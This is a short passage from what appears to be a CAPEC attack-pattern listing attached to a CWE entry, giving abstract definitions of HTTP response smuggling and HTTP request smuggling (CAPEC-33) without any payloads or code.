An adversary manipulates and injects malicious content in the form of secret unauthorized HTTP responses, into a single HTTP response from a vulnerable or compromised back-end HTTP agent (e.g., server).

See CanPrecede relationships for possible consequences.

CAPEC-33: HTTP Request Smuggling

An adversary abuses the flexibility and discrepancies in the parsing and interpretation of HTTP Request messages using various HTTP headers, request-line and body parameters as well as message sizes (denoted by the end of message signaled by a given HTTP header) by different intermediary HTTP agents (e.g., load balancer, reverse proxy, web caching proxies, application firewalls, etc.) to secretly send unauthorized and malicious HTTP requests to a back-end HTTP agent (e.g., web server).

See CanPrecede relationships for possible consequences.

← Back to the CWE list